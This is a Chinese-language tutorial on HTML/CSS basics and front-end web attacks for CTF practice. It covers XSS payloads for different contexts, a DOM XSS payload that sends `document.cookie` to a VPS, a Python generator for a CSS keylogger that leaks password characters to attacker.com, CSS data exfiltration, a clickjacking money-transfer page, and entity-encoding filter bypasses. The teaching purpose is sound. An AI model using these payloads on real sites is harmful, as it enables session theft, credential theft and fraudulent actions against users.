

HTML + CSS Web安全笔记

目录索引

- Part 1: 语法基础
 - 1. HTML基础
 - 1.1 文档结构与解析流程
 - 1.2 常用标签速查
 - 1.3 属性系统
 - 1.4 表单机制
 - 1.5 注释
 - 1.6 HTML实体编码
 - 1.7 DOM树
 - 2. CSS基础
 - 2.1 引入方式
 - 2.2 选择器体系
 - 2.3 安全相关常用属性
- Part 2: Web安全应用（详细+可复现）
 - 3. HTML上下文分析与XSS注入点判断
 - 4. DOM XSS 分析方法（Source → Sink）
 - 5. 前端验证绕过（hidden字段 / disabled / maxlength）
 - 6. 源码审计与静态资源信息泄露
 - 7. HTML注释与源码泄露实战
 - 8. CSS安全问题
 - 8.1 CSS注入 / UI Redressing
 - 8.2 CSS Keylogger（属性选择器窃取输入）
 - 8.3 CSS盲注/无JS数据外带（background:url()）
 - 8.4 Clickjacking 与 CSS 配合

- 9. HTML实体编码在XSS过滤绕过中的应用
- 10. CTF实战 Checklist
- 11. 工具与调试方法

Part 1: 语法基础

1. HTML基础

1.1 文档结构与解析流程

```
<!DOCTYPE html>
<html>
<head>
  <title>Page</title>
</head>
<body>
  <!-- 页面内容 -->
</body>
</html>
```

浏览器解析流程（安全视角必须理解）：

```
HTML字节流
  ↓ 词法分析 (tokenizer)
Token序列
  ↓ 树构建 (tree construction)
DOM Tree
  ↓ 结合CSSOM
Render Tree
  ↓
页面渲染
```

安全意义：

- HTML解析器有很强的容错性（标签未闭合、属性未加引号也能解析），这是很多XSS payload 能生效的根本原因。
- `<head>` 中的资源（`script/link/meta`）先于 `<body>` 加载，影响 CSP、编码声明（`<meta charset>`）的生效时机。

1.2 常用标签速查

标签	作用	安全关注点
<code><div></code> <code></code> <code><p></code> <code><h1>~<h6></code>	文本/容器	输出到标签内容中 → HTML 标签上下文 XSS
<code></code>	超链接	<code>href="javascript:..."</code> 伪协议执行JS
<code></code>	图片	<code>onerror</code> 事件，加载失败即触发
<code><script></code>	脚本	XSS核心载体
<code><iframe src=""></code>	内嵌页面	点击劫持、 <code>sandbox</code> 属性绕过
<code><form></code>	表单	参数提交、CSRF
<code><input></code>	输入控件	<code>hidden</code> 字段篡改、 <code>type</code> 绕过
<code><meta http-equiv="refresh"></code>	页面跳转/刷新	可用于XSS跳转、绕过部分过滤
<code><svg></code> <code><math></code>	矢量图/数学标记	常用于XSS过滤绕过（非常规标签）
<code><base href=""></code>	修改相对路径基准	可劫持页面内所有相对资源加载
<code><link rel="stylesheet"></code>	外部CSS	CSS注入、资源路径泄露

1.3 属性系统

普通属性

```
id class name value type src href action method
```

事件属性（★★★★★ XSS核心）

常见事件属性一览：

事件属性	触发条件
<code>onerror</code>	资源加载失败（ <code></code> <code><script></code> <code><video></code> ）
<code>onload</code>	资源加载成功（ <code><body></code> <code></code> <code><iframe></code> ）
<code>onclick</code>	点击
<code>onmouseover</code>	鼠标悬停
<code>onfocus</code> / <code>onblur</code>	获得/失去焦点（常配合 <code>autofocus</code> 无交互触发）
<code>onanimationstart</code>	CSS动画开始（无点击也能触发）
<code>ontoggle</code>	<code><details></code> 标签展开（无JS交互即可触发）

不需要用户点击即可触发的“0-click”组合是CTF高频考点，例如：

```
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
```

自定义属性（`data-*`）

```
<div data-user="admin"></div>
element.dataset.user // "admin"
```

JS读取自定义属性并拼接到DOM/HTML中时，是 DOM XSS 常见的 sink 来源之一。

1.4 表单机制（★★★★★）

```
<form action="/login" method="POST">
  <input name="username">
  <input type="password" name="password">
  <input type="hidden" name="role" value="user">
</form>
```

数据流：

用户输入 → HTML表单 → HTTP请求(GET/POST) → 服务器处理

- **GET**：参数拼接在URL，`/login?user=admin`，易被日志/Referer/浏览器历史记录留存。
- **POST**：参数在请求体，`username=admin&password=xxx`。
- **hidden**字段：前端隐藏 ≠ 服务端校验，是参数篡改/越权的经典入口（详见 [第5节](#)）。

1.5 注释

```
<!-- secret -->
```

浏览器不渲染注释内容，但源码中依然存在，是 CTF 源码泄露的第一入口（详见 [第7节](#)）。

1.6 HTML实体编码

字符	实体编码	十进制	十六进制
<	<	<	<
>	>	>	>
"	"	"	"
'	' / '	'	'
&	&	&	&
空格			

解析流程：

HTML实体 → 浏览器解码 → 真实字符 → 若处于可执行上下文则被解析执行

安全意义：过滤器往往只处理“字面量”特殊字符，而忽略了实体编码后再解码执行的情况，是 XSS 过滤绕过的基础手段之一（详见 [第9节](#)）。

1.7 DOM树

```
HTML → 浏览器解析 → DOM Tree → JavaScript操作 → 页面变化
<div id="msg"></div>
document.getElementById("msg")
```

DOM树是 DOM型XSS 的操作对象，Source（用户可控输入）与 Sink（危险的DOM写入点）都发生在这棵树上，具体方法论见 [第4节](#)。

2. CSS基础

2.1 引入方式

```
<!-- 内部样式 -->
<style> body{color:red;} </style>

<!-- 外部样式（关注路径，可能泄露目录结构） -->
<link rel="stylesheet" href="/static/css/admin.css">

<!-- 行内样式 -->
<div style="display:none;"></div>
```

2.2 选择器体系

```
div{}                /* 标签选择器 */
.admin{}             /* 类选择器 */
#flag{}              /* ID选择器 */
input[type=password]{} /* 属性选择器（重点，用于CSS keylogger） */
input[value^="a"]{}  /* 属性值前缀匹配 */
```

2.3 安全相关常用属性

隐藏元素：

```
display:none;  
visibility:hidden;  
opacity:0;  
position:absolute; left:-9999px;
```

CTF中常用于隐藏 *flag* / 隐藏的表单字段 / 隐藏的按钮，需要靠F12或直接查看源码找到。

定位与层叠：

```
position: absolute/fixed;  
top/left/z-index
```

用于分析页面元素覆盖关系，是点击劫持（*Clickjacking*）的实现基础。

背景外部请求：

```
background: url(http://attacker.com/x);
```

CSS加载背景图会发起真实HTTP请求，是CSS盲注/无JS数据外带的核心（详见8.3）。

Part 2: Web安全应用（详细+可复现）

3. HTML上下文分析与XSS注入点判断

network用途用法：<https://chatgpt.com/share/6ab241fb-9384-83ee-8f85-e3d5b217827d>

判断输入回显位置，是构造XSS payload的第一步。不同上下文对应不同的闭合/绕过方式。

3.1 HTML标签内容上下文

回显位置：

```
<div>
用户输入在这里
</div>
```

- 特点：输入直接作为标签的文本内容。
- **payload:** 不需要闭合任何东西，直接插入可执行标签：

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

- 复现方法：
 - a. 提交唯一标记字符串，例如 `zzzXSSzzz`。
 - b. 用浏览器“查看网页源代码”（不是F12的Elements，因为Elements已经是渲染后的DOM）搜索 `zzzXSSzzz`。
 - c. 观察其前后紧邻的标签，确认是否处于纯文本节点中。
 - d. 替换为上述 **payload** 提交，观察是否弹窗。

3.2 HTML属性值上下文

回显位置：

```
<input value="用户输入">
```

- 特点：需要先闭合属性引号，再闭合标签，才能插入新标签或事件。
- **payload:**

```
" onmouseover="alert(1)
" autofocus onFocus="alert(1)
"><script>alert(1)</script>
```

- 复现方法：

- a. 提交 " 单个双引号，查看返回源码中该引号是否被原样输出（未被转义/未被过滤）。
- b. 若未转义，说明可以闭合属性；进一步测试 "> 是否能闭合整个标签。
- c. 根据标签类型选择事件属性（<input> 用 onfocus+autofocus， 用 onerror）。

3.3 属性值为单引号的场景

```
<input value='用户输入'>
```

- payload 改用单引号闭合：

```
' onmouseover='alert(1)
```

3.4 JavaScript字符串上下文

回显位置：

```
var a = "用户输入";
```

- 特点：需要闭合JS字符串，可能还需闭合语句或注释掉后续代码。

- payload:

```
";alert(1);//  
';alert(1);//  
</script><script>alert(1)</script>
```

- 复现方法：

- a. 提交 ';alert(1);// 观察是否触发弹窗（说明处于单引号JS字符串中）。
- b. 若被HTML转义（如 '），说明输出经过HTML编码但未经过JS上下文处理，需要考虑是否先解析HTML实体再作为JS执行（少数模板引擎存在此问题）。

3.5 URL/href/src上下文

```
<a href="用户输入">click</a>
```

- **payload**（伪协议）：

```
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

- 说明：现代浏览器对 `<a>` 标签的 `javascript:` 协议需要用户主动点击才会触发，属于“需交互”XSS，常用于CSRF/钓鱼场景组合。

3.6 上下文判断速查表

提交内容	页面返回结果	所处上下文
<code><zzz></code>	<code><zzz></code> 被原样输出且未转义	HTML标签上下文，可直接插入标签
<code><zzz></code>	变成 <code><zzz></code>	被HTML实体编码，需寻找其他绕过点或标签外逃逸
<code>"</code>	属性值被截断/多出一个 <code>"</code>	属性值上下文，尝试闭合属性
<code>'</code>	同上但用单引号	属性值上下文（单引号）
<code>';</code>	JS报错或弹窗	JS字符串上下文

4. DOM XSS 分析方法（Source → Sink）

DOM型XSS不经过服务器，纯粹发生在浏览器JS执行过程中，必须用 **Source→Sink** 方法论分析。

4.1 常见 Source（用户可控输入点）

```
location.href  
location.search  
location.hash  
document.URL  
document.referrer  
document.cookie  
window.name  
postMessage 接收到的 data  
localStorage / sessionStorage
```

4.2 常见 Sink（危险写入点）

SINK	危险等级	原因
<code>innerHTML</code>	高	直接解析HTML并执行内含的事件/标签
<code>outerHTML</code>	高	同上
<code>document.write()</code> / <code>document.writeln()</code>	高	直接写入HTML流
<code>eval()</code>	极高	直接执行字符串为JS代码
<code>setTimeout("code", n)</code> / <code>setInterval("code", n)</code>	高	字符串参数会被当作代码执行
<code>location = 用户输入</code>	中高	可配合 <code>javascript:</code> 伪协议
<code>element.setAttribute("href"/"src", 用户输入)</code>	中	同上
<code>jQuery \$()</code> 传入HTML字符串	高	等效于 <code>innerHTML</code>

4.3 复现流程（实战步骤）

1. 打开 **F12** → **Sources**，全局搜索（Ctrl+Shift+F）关键词：`innerHTML`、`eval`、`document.write`、`location.hash`。
2. 找到 sink 后，向上追溯变量赋值链，确认数据是否最终来自某个 source。
3. 在浏览器地址栏手动构造 payload 验证，例如：

```
https://target/page#<img src=x onerror=alert(1)>
```

(若 sink 是

```
location.hash
```

→

```
innerHTML
```

)

4. 也可以直接在Console里执行等价代码模拟，确认漏洞逻辑：

```
document.getElementById("msg").innerHTML =  
location.hash.slice(1);
```

5. 确认触发后，替换为真实攻击payload（如 `<img src=x onerror=fetch('//vps/'+document.cookie)>`）。

4.4 典型漏洞代码示例

```
// 存在漏洞  
var msg = decodeURIComponent(location.search.split("msg=")[1]);  
document.getElementById("output").innerHTML = msg;
```

触发：

```
https://target/page?msg=<img src=x onerror=alert(document.domain)>
```

4.5 安全写法对比

```
// 不安全  
element.innerHTML = userInput;  
  
// 相对安全（仅写文本，不解析标签）  
element.textContent = userInput;  
element.innerText = userInput;
```

5. 前端验证绕过（**hidden**字段 / **disabled** / **maxlength**）

5.1 hidden字段篡改

```
<input type="hidden" name="role" value="user">
```

复现方法：

1. F12 → Elements 找到该 `<input>`，双击 `value="user"` 改为 `value="admin"`。
2. 或者不改DOM，直接用 **Burp Suite** 拦截提交的POST请求，把请求体中的 `role=user` 改为 `role=admin` 后放行——这是更可靠的方式，因为前端改DOM有时会被JS重新校验覆盖。
3. 观察响应，判断服务端是否真正校验了该字段的合法性（越权成功的标志：返回内容/权限发生变化）。

5.2 disabled / readonly 字段绕过

```
<input type="text" name="price" value="100" disabled>
```

- `disabled` 的字段不会被提交到服务器，因此不能靠改这个属性来提交数据；需要移除 `disabled` 属性（F12直接删除该属性）才能让该字段随表单一起提交。

复现方法：

1. F12找到目标 `<input disabled>`。
2. 双击标签，删除 `disabled` 关键字。
3. 修改 `value` 为期望值（如 `price=1`）。
4. 正常点击提交按钮。

5.3 maxlength / pattern 前端限制绕过

```
<input maxLength="4" pattern="[0-9]{4}">
```

- 这些都是纯前端限制，直接用 **Burp Suite Repeater** 修改请求体中对应参数为任意长度/内容重放即可，无需关心前端限制。

5.4 JS前端校验绕过（登录/验证码等）

```
if (input.value !== "123456") { return false; }
```

- 类似的前端校验函数，可以：
 - 在Console中直接调用后续逻辑对应的函数/请求；
 - 或者直接抓包，跳过前端JS执行，直接向后端发送请求。

5.5 核心结论（面试/CTF答题要点）

前端所有限制（*hidden*、*disabled*、*maxlength*、*JS*校验）本质上只是用户体验层面的约束，攻击者可以完全绕开浏览器直接构造*HTTP*请求，因此所有安全校验必须在服务端进行。

6. 源码审计与静态资源信息泄露

6.1 常见信息泄露点

```
<link href="/static/css/admin.css">
<script src="/js/app.js?v=1.2.3"></script>

```

审计思路：

- 路径中出现 `admin`、`manage`、`backup`、`test`、`old`、`bak` 等关键词 → 尝试直接访问该目录。
- `?v=` 版本号 → 尝试寻找历史版本文件（`app.js.bak`、`app_old.js`）。
- 静态资源目录常常没有做好权限控制，可用目录遍历（`/static/`、`/uploads/..`）测试。

6.2 复现方法

1. F12 → Network, 刷新页面, 按类型 (JS/CSS/Img/Doc) 筛选, 遍历所有请求过的静态资源URL。
2. 使用 **view Page Source** (Ctrl+U) 搜索路径类字符串: **href=**、**src=**、**action=**。
3. 对发现的每个路径尝试:
 - 直接访问目录本身 (是否列目录);
 - 常见备份后缀爆破: **.bak .swp .zip .git .svn ~**;
 - 结合工具 (如 **dirsearch**、**ffuf**) 批量探测同目录下的其他文件。

```
dirsearch -u https://target/static/ -e js,css,bak,zip
```

7. HTML注释与源码泄露实战

```
<!-- TODO: 记得删除测试账号 admin/admin123 -->
<!-- <a href="/backup.zip">备份下载</a> -->
<!-- flag{...} 暂时隐藏, 上线前删除 -->
```

复现方法:

1. Ctrl+U 查看网页源代码 (不要用 **F12 Elements**, 因为浏览器渲染后的DOM有时会剔除注释, 或注释被JS删除)。
 2. 全局搜索 **<!--**, 逐条检查注释内容。
 3. 对于注释中出现的路径/账号密码, 直接尝试访问/登录。
 4. 若页面为SPA (前端路由), 也要检查打包后的JS文件 (如 **main.js**) 中是否残留调试用的 **console.log**、API密钥、注释掉的接口地址。
-

8. CSS安全问题

8.1 CSS注入 / UI Redressing

当用户可控内容被拼接进 `<style>` 标签或 `style=""` 属性时，可能造成CSS注入，进而覆盖页面元素诱导点击（UI Redressing）。

```
<style>
.user-bio { content: "用户输入"; }
</style>
```

若能注入完整CSS规则，攻击者可以：

```
#logout-button { display:none; }
#fake-button { position:absolute; top:0; left:0; width:100%;
height:100%; background:url(evil.png); }
```

将页面上的真实按钮隐藏并覆盖一个伪造按钮，诱导用户点击执行非预期操作。

8.2 CSS Keylogger（属性选择器窃取输入）

原理：利用属性选择器可以匹配 `input[value^="x"]` 这种前缀匹配，为每一种可能的前缀绑定一条会发起网络请求的CSS规则，从而在没有JavaScript的情况下逐字符窃取输入框内容。

```
input[name="password"][value^="a"] {
    background: url("https://attacker.com/log?c=a");
}
input[name="password"][value^="b"] {
    background: url("https://attacker.com/log?c=b");
}
/* ... 遍历所有可能字符 ... */
```

复现条件：

- 目标页面存在CSS注入点（可以插入任意 `<style>` 内容或外部CSS）。
- 输入框的 `value` 属性会同步反映用户当前输入（多数原生 `<input>` 在未使用JS框

接管时，`value` attribute 不会随输入自动更新，此技术在现代浏览器上对纯HTML `<input>` 效果有限，但对某些通过JS将输入同步写回 `value` 属性的表单/或使用 `attr()`/自定义组件的场景仍然有效，需要具体环境验证）。

复现步骤：

1. 确认注入点能控制 `<style>` 标签内容。
2. 编写脚本批量生成"前缀匹配→背景图请求"的CSS规则（字符集通常覆盖 `a-z0-9`）。
3. 将生成的CSS通过注入点插入页面。
4. 搭建一个能记录请求参数的接收端（如 `python3 -m http.server` + 访问日志，或 `webhook.site`），观察请求到达顺序即可拼出完整输入内容。

```
# 生成CSS keylogger规则的脚本示例
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
rules = []
for c in chars:
    rules.append(
        f'input[name="password"][value^="{c}"]
        {{background:url(https://attacker.com/log?c={c});}}'
    )
print("\n".join(rules))
```

8.3 CSS盲注/无JS数据外带（`background:url()`）

原理：CSS的 `background/background-image/content` 等属性引用 `url()` 时，浏览器会真实发起HTTP请求去加载该资源，因此可以在CSP禁止 `<script>` 执行、但允许注入CSS的场景下，用其作为数据外带（exfiltration）通道。

```
body { background: url("https://attacker.com/beacon.png"); }
```

复现方法（盲XSS/CSP场景下确认存活）：

1. 在自己控制的服务器上开启监听（`python3 -m http.server 8080` 或 `nc -lvp 8080`）。
2. 将payload中的 `<script>` 替换为纯CSS注入：

```
<style>*{background:url(http://VPS_IP:8080/hit)}</style>
```

3. 观察监听端是否收到请求，收到即证明CSS注入点存在且被浏览器解析加载。
4. 结合 8.2 的方法，可以进一步用属性选择器外带具体字符数据，而不仅仅是"存活探测"。

8.4 Clickjacking 与 CSS 配合

```
<style>
iframe {
  opacity: 0;
  position: absolute;
  top: 0; left: 0;
  width: 100%; height: 100%;
  z-index: 2;
}
#fake-content {
  position: absolute;
  top: 0; left: 0;
  z-index: 1;
}
</style>
<div id="fake-content">点击领取奖励</div>
<iframe src="https://target/transfer?to=attacker&amount=1000">
</iframe>
```

复现方法：

1. 确认目标页面响应头没有 `X-Frame-Options: DENY/SAMEORIGIN` 且 CSP 没有 `frame-ancestors` 限制。

```
curl -I https://target/transfer
```

2. 若无限制，构造上述HTML，将目标页面用透明 `<iframe>` 覆盖在诱导性UI上方。
 3. 用CSS对齐iframe中的关键按钮与自己UI上的按钮位置一致，诱导用户点击后实际点在iframe内的真实按钮上。
-

9. HTML实体编码在XSS过滤绕过中的应用

当直接使用 `<script>` 等特殊字符被过滤/转义时，可尝试实体编码在特定上下文中被浏览器"二次解析"的特性。

9.1 属性值中的实体编码执行

```
<img src=x onerror="&#97;alert(1)">
```

浏览器解析 `onerror` 属性值时会先做HTML实体解码，再作为JS执行，因此 `a` 会被还原为 `a`，最终等价于 `alert(1)`。

9.2 全字符实体编码payload生成

```
# 将payload中每个字符转为十进制HTML实体，绕过基于字符串匹配的简单过滤
payload = "alert(1)"
encoded = "".join(f"&#{ord(c)};" for c in payload)
print(encoded)
# 输出: &#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
```

完整payload示例：

```
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
```

9.3 十六进制实体编码

```
<img src=x
onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
```

9.4 适用范围说明（避免误用）

- 该技巧仅在属性值上下文（如事件属性）中有效，因为浏览器解析属性值时会做实体解码。
 - 对于 `<script>` 标签内部的JS代码，浏览器不会对其做HTML实体解码（`script`标签是CDATA-like内容），因此该技巧对`script`标签内文本无效。
-

10. CTF实战 Checklist

拿到一道 Web 题目，涉及 HTML/CSS 分析时，按以下顺序排查：

- ✓ **Ctrl+U** 查看源码，全局搜索 `<!--`、`href=`、`src=`、`action=`、`type="hidden"`
- ✓ **F12** → **Network**，遍历所有加载的静态资源，关注非常规后缀/路径
- ✓ 找到所有 `<form>`，逐个检查 `<input type="hidden">` 字段
- ✓ 定位所有用户可控输入的回显点，判断处于哪种上下文（标签/属性/JS/URL）
- ✓ 全局搜索JS中的危险sink: `innerHTML`、`eval`、`document.write`
- ✓ 检查响应头是否存在 `X-Frame-Options`、`Content-Security-Policy`
- ✓ 检查是否存在 `<link>/<style>` 可控点（CSS注入）
- ✓ 若存在过滤，测试实体编码/大小写/标签替换等绕过方式

11. 工具与调试方法

工具	用途
Chrome/Firefox 开发者工具 (F12)	Elements (DOM树)、Console (执行JS)、Network (资源与请求)、Sources (断点调试、全局搜索sink)
查看网页源代码 (Ctrl+U)	获取未经JS修改的原始HTML响应，用于找注释、hidden字段、原始输出编码情况
Burp Suite	拦截/篡改请求，绕过所有前端限制 (hidden、disabled、maxlength、JS校验)
dirsearch / ffuf	静态资源目录/备份文件爆破
python3 -m http.server	快速搭建外带数据接收端
webhook.site	无需自建服务器，快速验证盲注/外带是否触发

附：下一步学习路线（衔接**JS**安全）

JavaScript



HTTP协议



浏览器安全机制（SOP / CSP / Cookie属性）



XSS（反射/存储/DOM型）



CSRF



前端漏洞综合利用